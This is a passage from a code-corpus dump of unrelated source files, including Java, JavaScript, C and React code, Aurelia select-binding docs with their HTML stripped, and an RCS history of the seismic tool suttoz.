    NOTE: this class used by JNI, class name and constructor should not be obfuscated.\n */\n@Keep\npublic class SmartReply {\n\n private final String text;\n private final float score;\n\n @Keep\n public SmartReply(String text, float score) {\n this.text = text;\n this.score = score;\n }\n\n public String getText() {\n return text;\n }\n\n public float getScore() {\n return score;\n }\n}\n"} +{"text": "printing\nprintOn: aStream \n\tsuper printOn: aStream.\n\taStream nextPutAll: ' status: '; print: self status.\n\taStream nextPutAll: ' message: '; print: self message"} +{"text": "define([\n\t\"../core\"\n], function( jQuery ) {\n\n// Cross-browser xml parsing\njQuery.parseXML = function( data ) {\n\tvar xml, tmp;\n\tif ( !data || typeof data !== \"string\" ) {\n\t\treturn null;\n\t}\n\ttry {\n\t\tif ( window.DOMParser ) { // Standard\n\t\t\ttmp = new DOMParser();\n\t\t\txml = tmp.parseFromString( data, \"text/xml\" );\n\t\t} else { // IE\n\t\t\txml = new ActiveXObject( \"Microsoft.XMLDOM\" );\n\t\t\txml.async = \"false\";\n\t\t\txml.loadXML( data );\n\t\t}\n\t} catch( e ) {\n\t\txml = undefined;\n\t}\n\tif ( !xml || !xml.documentElement || xml.getElementsByTagName( \"parsererror\" ).length ) {\n\t\tjQuery.error( \"Invalid XML: \" + data );\n\t}\n\treturn xml;\n};\n\nreturn jQuery.parseXML;\n\n});\n"} +{"text": "package activitystarter.generation\n\nimport org.junit.Test\n\nclass CustomIdGenerationTest: GenerationTest() {\n\n @Test\n fun simpleGenerationTest() {\n filePrecessingComparator(\"customId/Simple\")\n }\n\n @Test\n fun optionalGenerationTest() {\n filePrecessingComparator(\"customId/Optional\")\n }\n\n @Test\n fun multipleOptionalGenerationTest() {\n filePrecessingComparator(\"customId/MultipleOptional\")\n }\n\n @Test\n fun allGenerationTest() {\n dirPrecessingComparator(\"customId\")\n }\n}"} +{"text": "/* global Blob File */\n\n/*\n * Module requirements.\n */\n\nvar isArray = require('isarray');\n\nvar toString = Object.prototype.toString;\nvar withNativeBlob = typeof Blob === 'function' ||\n typeof Blob !== 'undefined' && toString.call(Blob) === '[object BlobConstructor]';\nvar withNativeFile = typeof File === 'function' ||\n typeof File !== 'undefined' && toString.call(File) === '[object FileConstructor]';\n\n/**\n * Module exports.\n */\n\nmodule.exports = hasBinary;\n\n/**\n * Checks for binary data.\n *\n * Supports Buffer, ArrayBuffer, Blob and File.\n *\n * @param {Object} anything\n * @api public\n */\n\nfunction hasBinary (obj) {\n if (!obj || typeof obj !== 'object') {\n return false;\n }\n\n if (isArray(obj)) {\n for (var i = 0, l = obj.length; i < l; i++) {\n if (hasBinary(obj[i])) {\n return true;\n }\n }\n return false;\n }\n\n if ((typeof Buffer === 'function' && Buffer.isBuffer && Buffer.isBuffer(obj)) ||\n (typeof ArrayBuffer === 'function' && obj instanceof ArrayBuffer) ||\n (withNativeBlob && obj instanceof Blob) ||\n (withNativeFile && obj instanceof File)\n ) {\n return true;\n }\n\n // see: https://github.com/Automattic/has-binary/pull/4\n if (obj.toJSON && typeof obj.toJSON === 'function' && arguments.length === 1) {\n return hasBinary(obj.toJSON(), true);\n }\n\n for (var key in obj) {\n if (Object.prototype.hasOwnProperty.call(obj, key) && hasBinary(obj[key])) {\n return true;\n }\n }\n\n return false;\n}\n"} +{"text": "/*\n * Copyright (c) 2016-2020 Moddable Tech, Inc.\n *\n * This file is part of the Moddable SDK Runtime.\n * \n * The Moddable SDK Runtime is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n * \n * The Moddable SDK Runtime is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General Public License\n * along with the Moddable SDK Runtime. If not, see .\n *\n */\n\n#include \"xsmc.h\"\n#include \"xsHost.h\"\n#include \"modBLE.h\"\n\nstatic void hexStringToBytes(xsMachine *the, uint8_t *buffer, const char *string, uint16_t length, uint8_t reverse)\n{\n\tuint8_t c, byte, *dst;\n\tint8_t bump;\n\tuint16_t i;\n\t\n\tlength /= 2;\n\tif (reverse) {\n\t\tdst = buffer + length - 1;\n\t\tbump = -1;\n\t}\n\telse {\n\t\tdst = buffer;\n\t\tbump = +1;\n\t}\n\t\n\tfor (i = 0; i < length; i++) {\n\t\tc = c_read8(string++);\n\t\tif (('0' <= c) && (c <= '9'))\n\t\t\tbyte = c - '0';\n\t\telse if (('A' <= c) && (c <= 'F'))\n\t\t\tbyte = c - 'A' + 10;\n\t\telse if (('a' <= c) && (c <= 'f'))\n\t\t\tbyte = c - 'a' + 10;\n\t\telse\n\t\t\txsUnknownError(\"bad data\");\n\t\tbyte <<= 4;\n\n\t\tc = c_read8(string++);\n\t\tif (('0' <= c) && (c <= '9'))\n\t\t\tbyte |= c - '0';\n\t\telse if (('A' <= c) && (c <= 'F'))\n\t\t\tbyte |= c - 'A' + 10;\n\t\telse if (('a' <= c) && (c <= 'f'))\n\t\t\tbyte |= c - 'a' + 10;\n\t\telse\n\t\t\txsUnknownError(\"bad data\");\n\t\t*dst = byte;\n\t\tdst += bump;\n\t}\n}\n\nvoid xs_bytes_set(xsMachine *the)\n{\n\tuint8_t reverse = xsmcToBoolean(xsArg(1));\n\tuint8_t *dst = xsmcToArrayBuffer(xsThis);\n\tuint32_t dstLength = xsmcGetArrayBufferLength(xsThis);\n\tif (xsmcTypeOf(xsArg(0)) == xsStringType) {\n\t\tconst char *src = xsmcToString(xsArg(0));\n\t\tuint32_t srcLength = c_strlen(src);\n\t\tif ((srcLength >> 1) != dstLength)\n\t\t\txsRangeError(\"invalid buffer size\");\n\t\thexStringToBytes(the, dst, src, srcLength, reverse);\n\t}\n\telse {\n\t\tuint8_t *src = xsmcToArrayBuffer(xsArg(0));\n\t\tuint32_t i, srcLength = xsmcGetArrayBufferLength(xsArg(0));\n\t\tif (srcLength != dstLength)\n\t\t\txsRangeError(\"invalid buffer size\");\n\t\tif (reverse)\n\t\t\tfor (i = 0; i < srcLength; ++i)\n\t\t\t\tdst[i] = src[srcLength - i - 1];\n\t\telse\n\t\t\tc_memmove(dst, src, srcLength);\n\t}\n}\n\nvoid xs_bytes_equals(xsMachine *the)\n{\n\tint length = xsmcGetArrayBufferLength(xsArg(0));\n\tif (length != xsmcGetArrayBufferLength(xsThis))\n\t\txsmcSetFalse(xsResult);\n\telse {\n\t\tint result = c_memcmp(xsmcToArrayBuffer(xsThis), xsmcToArrayBuffer(xsArg(0)), length);\n\t\txsmcSetBoolean(xsResult, (0 == result));\n\t}\n}\n\nvoid modBLEMessageQueueEmpty(modBLEMessageQueue queue)\n{\n\tmodBLEMessageQueueEntry entry;\n\tmodCriticalSectionDeclare;\n\tmodCriticalSectionBegin();\n\twhile (NULL != (entry = queue->entries)) {\n\t\tqueue->entries = entry->next;\n\t\tc_free(entry);\n\t}\n\tmodCriticalSectionEnd();\n}\n\nvoid modBLEMessageQueueConfigure(modBLEMessageQueue queue, xsMachine *the, modMessageDeliver callback, void *refcon)\n{\n\tmodBLEMessageQueueEmpty(queue);\n\tqueue->the = the;\n\tqueue->callback = callback;\n\tqueue->refcon = refcon;\n}\n\nvoid modBLEMessageQueueEnqueue(modBLEMessageQueue queue, modBLEMessageQueueEntry entry)\n{\n\tuint8_t post = false;\n\tmodCriticalSectionDeclare;\n\tmodCriticalSectionBegin();\n\tentry->next = NULL;\n\tif (queue->entries) {\n\t\tmodBLEMessageQueueEntry walker = queue->entries;\n\t\twhile (walker->next)\n\t\t\twalker = walker->next;\n\t\twalker->next = entry;\n\t}\n\telse {\n\t\tpost = true;\n\t\tqueue->entries = entry;\n\t}\n\tmodCriticalSectionEnd();\n\tif (post)\n\t\tmodMessagePostToMachine(queue->the, NULL, 0, queue->callback, queue->refcon);\n}\n\nmodBLEMessageQueueEntry modBLEMessageQueueDequeue(modBLEMessageQueue queue)\n{\n\tmodBLEMessageQueueEntry entry;\n\tmodCriticalSectionDeclare;\n\tmodCriticalSectionBegin();\n\tif (queue->entries) {\n\t\tentry = queue->entries;\n\t\tqueue->entries = entry->next;\n\t}\n\telse\n\t\tentry = NULL;\n\tmodCriticalSectionEnd();\n\treturn entry;\n}\n"} +{"text": "#import \"MWMViewController.h\"\n\n#include \n\n@interface MWMAutoupdateController : MWMViewController\n\n+ (instancetype)instanceWithPurpose:(Framework::DoAfterUpdate)todo;\n\n@end\n"} +{"text": "/*\n testApp.h\n ofxHapPlayerExample\n \n Copyright (c) 2013, Tom Butterworth. All rights reserved.\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n \n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n \n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and/or other materials provided with the distribution.\n \n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY\n DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#pragma once\n\n#include \"ofMain.h\"\n#include \"ofxHapPlayer.h\"\n\nclass ofApp : public ofBaseApp{\n\tpublic:\n\t\tvoid setup();\n\t\tvoid update();\n\t\tvoid draw();\n\t\t\n void keyPressed(int key);\n void keyReleased(int key);\n void mouseMoved(int x, int y );\n void mouseDragged(int x, int y, int button);\n void mousePressed(int x, int y, int button);\n void mouseReleased(int x, int y, int button);\n void mouseEntered(int x, int y);\n void mouseExited(int x, int y);\n void windowResized(int w, int h);\n void dragEvent(ofDragInfo dragInfo);\n void gotMessage(ofMessage msg);\n\n void load(std::string movie);\n ofRectangle getBarRectangle() const;\n ofxHapPlayer player;\n uint64_t lastMovement;\n bool wasPaused;\n bool drawBar;\n bool inScrub;\n};\n"} +{"text": "Image CRUD - A Codeigniter library that Create an Photo Gallery CRUD automatically with just few lines of code.\nCopyright (C) 2010 - 2012 John Skoumbourdis. \n\nImage CRUD is released with dual licensing, using the GPL v3 (license-gpl3.txt) and the MIT license (license-mit.txt).\nYou don’t have to do anything special to choose one license or the other and you don’t have to notify anyone which license you are using.\nPlease see the corresponding license file for details of these licenses.\nYou are free to use, modify and distribute this software, but all copyright information must remain."} +{"text": "#if !defined (_SEGMENT_H_)\n#define _SEGMENT_H_\n\nextern char ROMlib_exit;\n\n\n#if !defined (USE_WINDOWS_NOT_MAC_TYPEDEFS_AND_DEFINES)\n\n#include \n\ntypedef struct PACKED {\n INTEGER message;\n INTEGER count;\n AppFile files[1];\n} finderinfo;\n\nextern int ROMlib_print;\nextern void flushcache( void );\nextern void SFSaveDisk_Update (INTEGER vrefnum, Str255 filename);\n\nextern char *ROMlib_undotdot (char *origp);\n\n#if defined(ONLY_DESTROY_BETWEEN_CODE_SEGMENTS)\nextern INTEGER ROMlib_num_code_resources;\n#endif /* ONLY_DESTROY_BETWEEN_CODE_SEGMENTS */\n\n#if defined (MSDOS)\nextern char ROMlib_savecwd[];\n#endif\n\n#if defined (NEXTSTEP)\nextern LONGINT ROMlib_appbit, ROMlib_whichapps;\nextern INTEGER ROMlib_acceptsanotherfile;\n#endif\n\nextern void ROMlib_seginit (LONGINT argc, char **argv);\nextern void empty_timer_queues (void);\nextern BOOLEAN ROMlib_startupscreen;\n#endif\n\n#endif /* !_SEGMENT_H_ */\n"} +{"text": "import React from 'react'\nimport matchMedia from 'matchmediaquery'\nimport hyphenate from 'hyphenate-style-name'\nimport areObjectsEqual from 'shallow-equal/objects'\nimport toQuery from './toQuery'\nimport Context from './Context'\n\nconst makeQuery = (settings) => settings.query || toQuery(settings)\n\nconst hyphenateKeys = (obj) => {\n if (!obj) return null\n const keys = Object.keys(obj)\n if (keys.length === 0) return null\n return keys.reduce((result, key) => {\n result[hyphenate(key)] = obj[key]\n return result\n }, {})\n}\n\nconst useIsUpdate = () => {\n const ref = React.useRef(false)\n\n React.useEffect(() => {\n ref.current = true\n }, [])\n\n return ref.current\n}\n\nconst useDevice = (deviceFromProps) => {\n const deviceFromContext = React.useContext(Context)\n const getDevice = () =>\n hyphenateKeys(deviceFromProps) || hyphenateKeys(deviceFromContext)\n const [ device, setDevice ] = React.useState(getDevice)\n\n React.useEffect(() => {\n const newDevice = getDevice()\n if (!areObjectsEqual(device, newDevice)) {\n setDevice(newDevice)\n }\n }, [ deviceFromProps, deviceFromContext ])\n\n return device\n}\n\nconst useQuery = (settings) => {\n const getQuery = () => makeQuery(settings)\n const [ query, setQuery ] = React.useState(getQuery)\n\n React.useEffect(() => {\n const newQuery = getQuery()\n if (query !== newQuery) {\n setQuery(newQuery)\n }\n }, [ settings ])\n\n return query\n}\n\nconst useMatchMedia = (query, device) => {\n const getMatchMedia = () => matchMedia(query, device || {}, !!device)\n const [ mq, setMq ] = React.useState(getMatchMedia)\n const isUpdate = useIsUpdate()\n\n React.useEffect(() => {\n if (isUpdate) {\n // skip on mounting, it has already been set\n setMq(getMatchMedia())\n }\n\n return () => {\n mq.dispose()\n }\n }, [ query, device ])\n\n return mq\n}\n\nconst useMatches = (mediaQuery) => {\n const [ matches, setMatches ] = React.useState(mediaQuery.matches)\n\n React.useEffect(() => {\n const updateMatches = () => {\n setMatches(mediaQuery.matches)\n }\n mediaQuery.addListener(updateMatches)\n updateMatches()\n\n return () => {\n mediaQuery.removeListener(updateMatches)\n }\n }, [ mediaQuery ])\n\n return matches\n}\n\nconst useMediaQuery = (settings, device, onChange) => {\n const deviceSettings = useDevice(device)\n const query = useQuery(settings)\n if (!query) throw new Error('Invalid or missing MediaQuery!')\n const mq = useMatchMedia(query, deviceSettings)\n const matches = useMatches(mq)\n const isUpdate = useIsUpdate()\n\n React.useEffect(() => {\n if (isUpdate && onChange) {\n onChange(matches)\n }\n }, [ matches ])\n\n return matches\n}\n\nexport default useMediaQuery\n"} +{"text": "---\nname: \"Binding: Selects\"\ndescription: Data-binding select elements with Aurelia.\nauthor: Jeremy Danyow (http://danyow.net)\n---\n\n## Introduction\n\nA `` element to the template and decide whether the `multiple` attribute should be applied.\n2. Bind the select element's `value` attribute to a property. In \"multiple\" mode, the property should be an array. In singular mode it can be any type.\n3. Define the select element's ``\n *You can use the standard `value` attribute instead of `model`, just remember- it will coerce anything it's assigned to a string.*\n\n## Select Number\n\n```JavaScript app.js\nexport class App {\n products = [\n { id: 0, name: 'Motherboard' },\n { id: 1, name: 'CPU' },\n { id: 2, name: 'Memory' },\n ];\n\n selectedProductId = null;\n}\n```\n```TypeScript app.js [variant]\nexport interface IProduct {\n id: number;\n name: string;\n}\n\nexport class App {\n products: IProduct[] = [\n { id: 0, name: 'Motherboard' },\n { id: 1, name: 'CPU' },\n { id: 2, name: 'Memory' },\n ];\n\n selectedProductId: number = null;\n}\n```\n\n```HTML app.html\n\n```\n\n[Select Number Demo](https://codesandbox.io/embed/5j0zxp7rk?autoresize=1&fontsize=18&hidenavigation=1&module=%2Fsrc%2Fapp.html&view=preview)\n\n## Select Object\n\n```JavaScript app.js\nexport class App {\n products = [\n { id: 0, name: 'Motherboard' },\n { id: 1, name: 'CPU' },\n { id: 2, name: 'Memory' },\n ];\n\n selectedProduct = null;\n}\n```\n```TypeScript app.ts [variant]\nexport interface IProduct {\n id: number;\n name: string;\n}\n\nexport class App {\n products: IProduct[] = [\n { id: 0, name: 'Motherboard' },\n { id: 1, name: 'CPU' },\n { id: 2, name: 'Memory' },\n ];\n\n selectedProduct: IProduct = null;\n}\n```\n\n```HTML app.html\n\n```\n\n[Select Object Demo](https://codesandbox.io/embed/j20q48yp3?autoresize=1&fontsize=18&hidenavigation=1&module=%2Fsrc%2Fapp.html&view=preview)\n\n## Select Object with Matcher\n\nYou may run into situations where the object your select element's value is bound does not have reference equality with any of the objects your option element model properties are bound to. The select's value object might \"match\" one of the option objects by id, but they may not be the same object instance. To support this scenario you can override Aurelia's default \"matcher\" which is a equality comparison function that looks like this: `(a, b) => a === b`. You can substitute a function of your choosing that has the right logic to compare your objects.\n\n```JavaScript app.js\nexport class App {\n products = [\n { id: 0, name: 'Motherboard' },\n { id: 1, name: 'CPU' },\n { id: 2, name: 'Memory' },\n ];\n\n productMatcher = (a, b) => a.id === b.id;\n\n selectedProduct = { id: 1, name: 'CPU' };\n}\n```\n```TypeScript app.ts [variant]\nexport interface IProduct {\n id: number;\n name: string;\n}\n\nexport class App {\n products: IProduct[] = [\n { id: 0, name: 'Motherboard' },\n { id: 1, name: 'CPU' },\n { id: 2, name: 'Memory' },\n ];\n\n productMatcher = (a, b) => a.id === b.id;\n\n selectedProduct: IProduct = { id: 1, name: 'CPU' };\n}\n```\n\n```HTML app.html\n\n```\n\n[Select Object Matcher Demo](https://codesandbox.io/embed/nk5m6216xl?autoresize=1&fontsize=18&hidenavigation=1&module=%2Fsrc%2Fapp.html&view=preview)\n\n## Select Boolean\n\n```JavaScript app.js\nexport class App {\n likesTacos = null;\n}\n```\n```TypeScript app.ts [variant]\nexport class App {\n likesTacos = null;\n}\n```\n\n```HTML app.html\n\n```\n\n[Select Boolean Demo](https://codesandbox.io/embed/zz2o6259wl?autoresize=1&fontsize=18&hidenavigation=1&module=%2Fsrc%2Fapp.html&view=preview)\n\n## Select String\n\n```JavaScript app.js\nexport class App {\n products = ['Motherboard', 'CPU', 'Memory'];\n selectedProduct = '';\n}\n```\n```TypeScript app.ts [variant]\nexport class App {\n products: string[] = ['Motherboard', 'CPU', 'Memory'];\n selectedProduct: string = '';\n}\n```\n\n```HTML app.html\n\n```\n\n[Select String Demo](https://codesandbox.io/embed/o8o7yozoz?autoresize=1&fontsize=18&hidenavigation=1&module=%2Fsrc%2Fapp.html&view=preview)\n\n## Multiple Select Numbers\n\n```JavaScript app.js\nexport class App {\n products = [\n { id: 0, name: 'Motherboard' },\n { id: 1, name: 'CPU' },\n { id: 2, name: 'Memory' },\n ];\n\n selectedProductIds = [];\n}\n```\n```TypeScript app.ts [variant]\nexport interface IProduct {\n id: number;\n name: string;\n}\n\nexport class App {\n products: IProduct[] = [\n { id: 0, name: 'Motherboard' },\n { id: 1, name: 'CPU' },\n { id: 2, name: 'Memory' },\n ];\n\n selectedProductIds: number[] = [];\n}\n```\n\n```HTML app.html\n\n```\n\n[Select Multiple Numbers Demo](https://codesandbox.io/embed/88xzwon19?autoresize=1&fontsize=18&hidenavigation=1&module=%2Fsrc%2Fapp.html&view=preview)\n\n## Multiple Select Objects\n\n```JavaScript app.js\nexport class App {\n products = [\n { id: 0, name: 'Motherboard' },\n { id: 1, name: 'CPU' },\n { id: 2, name: 'Memory' },\n ];\n\n selectedProducts = [];\n}\n```\n```TypeScript app.ts [variant]\nexport interface IProduct {\n id: number;\n name: string;\n}\n\nexport class App {\n products: IProduct[] = [\n { id: 0, name: 'Motherboard' },\n { id: 1, name: 'CPU' },\n { id: 2, name: 'Memory' },\n ];\n\n selectedProducts: IProduct[] = [];\n}\n```\n\n```HTML app.html\n\n```\n\n[Select Multiple Objects Demo](https://codesandbox.io/embed/o10mn3p0qq?autoresize=1&fontsize=18&hidenavigation=1&module=%2Fsrc%2Fapp.html&view=preview)\n\n## Multiple Select Strings\n\n```JavaScript app.js\nexport class App {\n products = ['Motherboard', 'CPU', 'Memory'];\n selectedProducts = [];\n}\n```\n```TypeScript app.ts [variant]\nexport class App {\n products: string[] = ['Motherboard', 'CPU', 'Memory'];\n selectedProducts: string[] = [];\n}\n```\n\n```HTML app.html\n\n```\n\n[Select Multiple Strings Demo](https://codesandbox.io/embed/yvr7p888q9?autoresize=1&fontsize=18&hidenavigation=1&module=%2Fsrc%2Fapp.html&view=preview)"} +{"text": "package name.abuchen.portfolio.ui.views.dashboard.heatmap;\n\nimport java.util.function.DoubleBinaryOperator;\n\nimport name.abuchen.portfolio.ui.Messages;\n\npublic enum ExcessReturnOperator\n{\n ALPHA(Messages.LabelExcessReturnOperatorAlpha, (x, y) -> x - y), //\n RELATIVE(Messages.LabelExcessReturnOperatorRelative, (x, y) -> ((x + 1) / (y + 1)) - 1);\n\n private String label;\n private DoubleBinaryOperator operator;\n\n private ExcessReturnOperator(String label, DoubleBinaryOperator operator)\n {\n this.label = label;\n this.operator = operator;\n }\n\n public DoubleBinaryOperator getOperator()\n {\n return operator;\n }\n\n @Override\n public String toString()\n {\n return label;\n }\n}\n"} +{"text": "head\t1.20;\naccess;\nsymbols;\nlocks; strict;\ncomment\t@ * @;\n\n\n1.20\ndate\t2011.11.16.23.21.55;\tauthor john;\tstate Exp;\nbranches;\nnext\t1.19;\n\n1.19\ndate\t2011.11.12.00.39.02;\tauthor john;\tstate Exp;\nbranches;\nnext\t1.18;\n\n1.18\ndate\t2010.01.20.23.56.55;\tauthor john;\tstate Exp;\nbranches;\nnext\t1.17;\n\n1.17\ndate\t2008.01.21.16.44.13;\tauthor john;\tstate Exp;\nbranches;\nnext\t1.16;\n\n1.16\ndate\t2005.08.31.20.09.24;\tauthor john;\tstate Exp;\nbranches;\nnext\t1.15;\n\n1.15\ndate\t2005.08.30.00.16.27;\tauthor john;\tstate Exp;\nbranches;\nnext\t1.14;\n\n1.14\ndate\t2005.08.29.20.25.59;\tauthor john;\tstate Exp;\nbranches;\nnext\t1.13;\n\n1.13\ndate\t2005.08.29.19.54.27;\tauthor john;\tstate Exp;\nbranches;\nnext\t1.12;\n\n1.12\ndate\t2004.07.01.18.58.51;\tauthor john;\tstate Exp;\nbranches;\nnext\t1.11;\n\n1.11\ndate\t2004.07.01.18.58.11;\tauthor john;\tstate Exp;\nbranches;\nnext\t1.10;\n\n1.10\ndate\t2003.06.04.17.05.44;\tauthor john;\tstate Exp;\nbranches;\nnext\t1.9;\n\n1.9\ndate\t96.02.22.15.56.23;\tauthor jkc;\tstate Exp;\nbranches;\nnext\t1.8;\n\n1.8\ndate\t96.02.07.15.52.39;\tauthor jkc;\tstate Exp;\nbranches;\nnext\t1.7;\n\n1.7\ndate\t95.08.04.15.49.55;\tauthor jkc;\tstate Exp;\nbranches;\nnext\t1.6;\n\n1.6\ndate\t94.08.25.15.01.29;\tauthor jkc;\tstate Exp;\nbranches;\nnext\t1.5;\n\n1.5\ndate\t93.11.29.14.43.50;\tauthor john;\tstate Exp;\nbranches;\nnext\t1.4;\n\n1.4\ndate\t93.11.24.16.23.04;\tauthor john;\tstate Exp;\nbranches;\nnext\t1.3;\n\n1.3\ndate\t92.10.26.13.48.17;\tauthor john;\tstate Exp;\nbranches;\nnext\t1.2;\n\n1.2\ndate\t91.09.05.08.52.19;\tauthor jkcohen;\tstate Exp;\nbranches;\nnext\t1.1;\n\n1.1\ndate\t91.06.19.13.53.37;\tauthor dhale;\tstate Exp;\nbranches;\nnext\t;\n\n\ndesc\n@Convert a function of time to a function of depth\n@\n\n\n1.20\nlog\n@added Reg Beardsley's checkpar()\n@\ntext\n@/* Copyright (c) Colorado School of Mines, 2011.*/\n/* All rights reserved. */\n\n/* SUTTOZ: $Revision: 1.18 $ ; $Date: 2010/01/20 23:56:55 $\t\t*/\n\n#include \"su.h\"\n#include \"segy.h\"\n#include \"header.h\"\n\n/*********************** self documentation ******************************/\nchar *sdoc[] = {\n\"\t\t\t\t\t\t\t\t\t\",\n\" SUTTOZ - resample from time to depth\t\t\t\t\t\",\n\"\t\t\t\t\t\t\t\t\t\",\n\" suttoz stdout [optional parms]\t\t\t\t\",\n\"\t\t\t\t\t\t\t\t\t\",\n\" Optional Parameters:\t\t\t\t\t\t\t\",\n\" nz=1+(nt-1)*dt*vmax/(2.0*dz) number of depth samples in output\t\",\n\" dz=vmin*dt/2\t\tdepth sampling interval (defaults avoids aliasing)\",\n\" fz=v(ft)*ft/2\t\tfirst depth sample\t\t\t\t\",\n\" t=0.0,...\t\ttimes corresponding to interval velocities in v\",\n\" v=1500.0,...\t\tinterval velocities corresponding to times in v\",\n\" vfile=\t\t binary (non-ascii) file containing velocities v(t)\",\n\" verbose=0\t\t>0 to print depth sampling information\t\t\",\n\"\t\t\t\t\t\t\t\t\t\",\n\" Notes:\t\t\t\t\t\t\t\t\",\n\" Default value of nz set to avoid aliasing\t\t\t\t\",\n\" The t and v arrays specify an interval velocity function of time.\t\",\n\"\t\t\t\t\t\t\t\t\t\",\n\" Note that t and v are given as arrays of floats separated by commas, \",\n\" for example:\t\t\t\t\t\t\t\t\",\n\" t=0.0,0.01,.2,... v=1500.0,1720.0,1833.5,... with the number of t values\",\n\" equaling the number of v values. The velocities are linearly interpolated\",\n\" to make a continuous, piecewise linear v(t) profile.\t\t\t\",\n\"\t\t\t\t\t\t\t\t\t\",\n\" Linear interpolation and constant extrapolation is used to determine\t\",\n\" interval velocities at times not specified. Values specified in t\t\",\n\" must increase monotonically.\t\t\t\t\t\t\",\n\"\t\t\t\t\t\t\t\t\t\",\n\" Alternatively, interval velocities may be stored in a binary file\t\",\n\" containing one velocity for every time sample. If vfile is specified,\",\n\" then the t and v arrays are ignored.\t\t\t\t\t\",\n\"\t\t\t\t\t\t\t\t\t\",\n\" see selfdoc of suztot for depth to time conversion\t\t\t\",\n\"\t\t\t\t\t\t\t\t\t\",\n\" Trace header fields accessed: ns, dt, and delrt\t\t\t\",\n\" Trace header fields modified: trid, ns, d1, and f1\t\t\t\",\n\"\t\t\t\t\t\t\t\t\t\",\nNULL};\n\n/* Credits:\n *\tCWP: Dave Hale c. 1992\n *\n */\n/**************** end self doc *******************************************/\n\n/* functions defined and used internally */\nstatic void maketz (int nt, float dt, float ft, float v[], \n\tint nz, float dz, float fz, float t[]);\nstatic void zttz(int nt, float dt, float ft, float zt[], float vft, float vlt, \n\tint nz, float dz, float fz, float tz[]);\n\nsegy tr;\n\nint\nmain(int argc, char **argv)\n{\n\tint nt;\t\t/* number of time samples */\n\tint it;\t\t/* counter */\n\tint nz;\t\t/* numer of depth samples */\n\n\tint ntpar;\t/* number of getparred time values for velocities */\n\tint nvpar;\t/* number of getparred velocity values */\n\tint itpar;\t/* counter */\n\n\tint verbose;\t/* verbose flag, =0 silent, =1 chatty */\n\tfloat dt;\t/* time sampling interval */\n\tfloat ft;\t/* first time value */\n\tfloat dz;\t/* depth sampling interval for velocities */\n\tfloat fz;\t/* first depth value */\n\tfloat t;\t/* timevalues for velocities */\n\tfloat vmin;\t/* minimum velocity */\n\tfloat vmax;\t/* maximum velocity */\n\tfloat *tpar=NULL;\t/* values of t getparred */\n\tfloat *vpar=NULL;\t/* values of v getparred */\n\tfloat *vt=NULL;\t\t/* v(t) velocity as a function of t */\n\tfloat *tz=NULL;\t\t/* t(z) time as a function of z */\n\tfloat *temp=NULL;\t/* temporary storage array */\n\tchar *vfile=\"\";\t\t/* name of the velocity file */\n\n\t/* hook up getpar */\n\tinitargs(argc,argv);\n\trequestdoc(1);\n\n\t/* get time sampling from first header */\n\tif (!gettr(&tr)) err(\"can't get first trace\");\n\tnt = tr.ns;\n\tdt = ((double) tr.dt)/1000000.0;\n\tft = tr.delrt/1000.0;\n\n\t/* determine velocity function v(t) */\n\tvt = ealloc1float(nt);\n\tif (!getparstring(\"vfile\",&vfile)) {\n\t\tntpar = countparval(\"t\");\n\t\tif (ntpar==0) ntpar = 1;\n\t\ttpar = ealloc1float(ntpar);\n\t\tif (!getparfloat(\"t\",tpar)) tpar[0] = 0.0;\n\t\tnvpar = countparval(\"v\");\n\t\tif (nvpar==0) nvpar = 1;\n\t\tif (nvpar!=ntpar)err(\"number of t and v values must be equal\");\n\t\tvpar = ealloc1float(nvpar);\n\t\tif (!getparfloat(\"v\",vpar)) vpar[0] = 1500.0;\n\t\tfor (itpar=1; itparvmax) vmax = vt[it];\n\t}\n\n\t/* get parameters */\n\tif (!getparfloat(\"dz\",&dz)) dz = vmin*dt/2.0;\n\tif (!getparfloat(\"fz\",&fz)) fz = vt[0]*ft/2.0;\n\tif (!getparint(\"nz\",&nz)) nz = 1+(nt-1)*dt*vmax/(2.0*dz);\n\tif (!getparint(\"verbose\",&verbose)) verbose = 0;\n checkpars();\n\tCHECK_NT(\"nz\",nz);\n\n\t/* if requested, print depth sampling */\n\tif (verbose) {\n\t\twarn(\"Input:\");\n\t\twarn(\"\\tnumber of time samples = %d\",nt);\n\t\twarn(\"\\ttime sampling interval = %g\",dt);\n\t\twarn(\"\\tfirst time sample = %g\",ft);\n\t\twarn(\"Output:\\n\");\n\t\twarn(\"\\tnumber of depth samples = %d\",nz);\n\t\twarn(\"\\tdepth sampling interval = %g\",dz);\n\t\twarn(\"\\tfirst depth sample = %g\",fz);\n\t}\n\n\t/* allocate workspace */\n\ttz = ealloc1float(nz);\n\ttemp = ealloc1float(nt);\n\n\t/* make t(z) function */\n\tmaketz(nt,dt,ft,vt,nz,dz,fz,tz);\n\t\n\t/* loop over traces */\n\tdo {\n\t\t/* update header fields */\n\t\ttr.trid = TRID_DEPTH;\n\t\ttr.ns = nz;\n\t\ttr.d1 = dz;\n\t\ttr.f1 = 